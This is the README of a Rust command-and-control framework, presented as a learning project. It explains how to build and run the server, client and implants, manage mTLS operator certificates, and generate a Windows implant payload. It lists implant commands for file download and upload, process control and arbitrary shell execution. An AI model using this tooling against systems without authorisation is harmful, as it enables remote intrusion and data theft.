A simple C2 framework written in Rust.
This is basically learning project for me and my team, to learn Rust and how C2 frameworks work. It is in no way a finished project that's ready for a production environment.
Follow the official instructions to install Rust.
Mingw is needed to cross compile the windows payload. You can install it using your package manager.
sudo apt update
sudo apt install mingw-w64sudo pacman -S mingw-w64-gccsudo dnf install mingw32-gcc mingw64-gccYou also need to add windows cross compilation features to cargo to be able to cross compile the windows payload.
rustup target add x86_64-pc-windows-gnuTo build the entire project, you can use the following command:
cargo build --releaseThis builds all the binaries in the target/release folder.
To build a specific crate, use its package name:
cargo build -p <crate_name> --release- Run the server
./rb_serverRuns the server on 0.0.0.0:6666 by default. Settings are read from rb_server.toml in the current directory (if present); CLI flags override it. See Configuration.
- Run the client
./rb_clientThis will connect to the default server on localhost:6666. You can change the connection details with command line flags. Run ./rb_client --help for more details. The client has tab completion for commands and subcommands, syntax highlighting, and keeps history in ~/.rustbucket_history.
The server reads rb_server.toml from the current directory by default. Pass --config <file> to use a different one. Any CLI flag (--host, --port, --mtls, --ca-path, --ca-key-path, --cert-path, --key-path, --crl-path) overrides the file. A missing default file is fine, the built-in defaults are used.
host = "0.0.0.0"
port = 6666
verbose = false
db_path = "rustbucket.sqlite"
[mtls]
enabled = false
ca_path = "certs/ca-cert.pem"
ca_key_path = "certs/ca-key.pem"
cert_path = "certs/client-cert.pem"
key_path = "certs/client-key.pem"
crl_path = "certs/crl.der"
crl_update_seconds = 5Sessions, tasks, results and listener definitions are saved to the SQLite database at db_path, so they survive a restart. HTTP listeners are automatically bound again on startup. Set db_path = "" to keep everything in memory.
The CA key at ca_key_path is generated once and reused, so certificates issued to operators stay valid across restarts.
Start an HTTPS listener from the client before running an implant:
listeners start http -p 8080
The listener serves the implant endpoints over HTTPS with mTLS, so the implant must present a client cert signed by the implant CA. The server writes that CA and an implant cert/key pair to certs/ (implant-ca-cert.pem, implant-cert.pem, implant-key.pem).
To run a standalone implant for testing, point it at those certs:
cargo run -p rb_implant -- --host <ip> --port 8080 --ca-path certs/implant-ca-cert.pem --cert-path certs/implant-cert.pem --key-path certs/implant-key.pemOnce an implant has checked in, attach to it from the client with sessions use <id> and run one of:
File management:
pwd,cd <path>- working directoryls [path],cat <file>,download <file>(sends the file back to the operator)upload <local-file> [remote-path](sends a local file to the implant)mkdir <dir>,rm [-r] <path>,mv <src> <dst>,cp [-r] <src> <dst>,touch <file>
System:
systeminfo,whoami,env,ps,kill <pid>sleep <seconds> [jitter-percent]- set the beacon interval (and optional jitter)
Network:
netstat,ipconfig
Execution:
shell <command>- run a command through powershell on Windows, sh elsewhere
Commands run natively on the implant. Unknown commands are rejected, and there is no implicit shell fallback; use shell to run arbitrary commands explicitly. The implant beacons every --interval seconds at startup and the interval can be changed at runtime with sleep.
The server issues per-operator client certificates signed by its CA.
operator new <name> [--host <host>] [--port <port>]writesoperators/<name>/client-cert.pem,operators/<name>/client-key.pemand a profile atoperators/<name>.toml.operator listlists profiles and whether they are revoked.operator revoke <name>revokes a profile; the server's CRL updater rejects it within a few seconds.
Connect with an issued profile (CLI flags override it):
./rb_client --profile operators/<name>.tomlFrom the client, build a Windows payload and have the server send it back:
payload new --lhost <listener-ip> --lport <listener-port>
The server cross-compiles the implant and the client saves the executable to its working directory (for example rb_payload.exe). This needs mingw-w64 and the x86_64-pc-windows-gnu target, and the server must run from the repo root so it can find rb_implant when building.
The generated payload embeds the implant CA and client cert/key automatically, so it can talk to an HTTPS listener without any cert files on disk.